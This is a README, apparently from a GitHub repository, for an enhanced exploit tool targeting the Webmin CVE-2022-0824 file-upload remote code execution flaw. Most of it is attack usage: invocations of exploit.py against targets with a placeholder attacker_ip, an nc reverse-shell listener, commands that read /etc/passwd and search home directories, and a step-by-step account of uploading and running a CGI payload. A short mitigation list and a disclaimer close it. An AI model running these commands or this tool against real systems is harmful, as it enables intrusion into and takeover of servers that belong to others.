Webmin-CVE-2022-0824-Enhanced-Exploit
[!IMPORTANT]
Webmin CVE-2022-0824 Enhanced Exploit Tool - Supports dual modes: command execution and reverse shell

[!IMPORTANT]
An enhanced exploit tool targeting Webmin CVE-2022-0824, supporting both direct command execution and reverse shell modes.
π Features
- β
Dual Mode Support: Command Execution Mode + Reverse Shell Mode
- β
Multiple Payloads: Three different payloads: Perl, Bash, Python
- β
Smart File Management: Automatically generates unique filenames to avoid conflicts
- β
Force Overwrite Upload: Automatically handles overwriting of existing files
- β
Multiple Upload Methods: HTTP download, direct upload, command execution creation
- β
Detailed Debug Information: Complete execution process logs
- β
User-Friendly Interface: Colorful output and clear status prompts
- CVE ID: CVE-2022-0824
- Affected Versions: Webmin < 1.990
- Vulnerability Type: Remote Code Execution via Arbitrary File Upload
- CVSS Score: 9.8 (Critical)
π οΈ Installation Requirements
# Python 3.6+
pip3 install requests urllib3
π Usage
Command Execution Mode (Recommended)
# Basic command execution
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# View system information
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# List files
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# View sensitive files
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# Network information
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
Reverse Shell Mode
# 1. Start listener
nc -nlvp 9999
# 2. Execute exploit
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
π Parameter Description
| Parameter | Description | Required | Example |
|---|
-t, --target | Target Webmin URL | β
| http://192.168.1.100:10000/ |
-c, --credential | Login credentials | β
| admin:password |
-LS, --py3http_server | HTTP server address | β
| 192.168.1.50:8080 |
--shell | Command to execute | β | "ls -la" |
-L, --callback_ip | Reverse Shell callback IP | β* | 192.168.1.50 |
-P, --callback_port | Reverse Shell callback port | β* | 9999 |
*Note: Required in reverse shell mode
π― Usage Examples
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
Example 2: File System Exploration
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
Example 3: Network Configuration View
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
π§ How It Works
- Authentication: Log in to the Webmin admin interface with provided credentials
- Payload Generation: Generate corresponding CGI scripts based on mode
- File Upload: Upload payload via File Manager's HTTP download functionality
- Permission Setting: Set execution permissions for the uploaded file
- Command Execution: Access the uploaded CGI script to execute commands or establish reverse connection
π‘οΈ Mitigation Recommendations
- Update Webmin to the latest version (>= 1.990) promptly
- Restrict network access to the Webmin admin interface
- Use strong passwords and two-factor authentication
- Regularly audit system logs
- Deploy a Web Application Firewall (WAF)
β οΈ Disclaimer
This tool is intended only for authorized security testing and educational purposes.
- π« Do not use against unauthorized systems
- π« Do not use for malicious attacks
- π« Users assume corresponding legal responsibility
- β
Only use in environments with explicit authorization
- β
Use for security research and vulnerability verification
π Technical Details
Payload Types
- Perl CGI: Primary payload, best compatibility
- Bash CGI: Backup payload, suitable for Linux systems
- Python CGI: Backup payload, most feature-rich
Upload Methods
- HTTP Download: via Webmin File Manager's remote download feature
- Direct Upload: via file upload interface
- Command Creation: Create files via system commands
File Naming Strategy
- MD5 hash based on command content
- Timestamp suffix
- Ensures a different filename is used for each execution
π Changelog
v5.0 (2025-08-05)
- β¨ Added command execution mode
- π Fixed file overwrite issue
- π§ Improved file naming strategy
- π Enhanced error handling
v4.0 (Based on Original)
- π― Based on original code by faisalfs10x
- π§ Improved CGI compatibility
- π Added detailed logging
π€ Contributing
Welcome to submit Issues and Pull Requests!
- Fork this repository
- Create a feature branch (
git checkout -b feature/AmazingFeature)
- Commit your changes (
git commit -m 'Add some AmazingFeature')
- Push to the branch (
git push origin feature/AmazingFeature)
- Open a Pull Request
π License
This project is licensed under the MIT License - see the LICENSE file for details.
π Acknowledgments
For questions or suggestions, please contact via:
- π§ Submit a GitHub Issue
- π Report security issues privately (via DM)
β If this project helps you, please give it a Star!
requirements.txt
requests>=2.25.1
urllib3>=1.26.0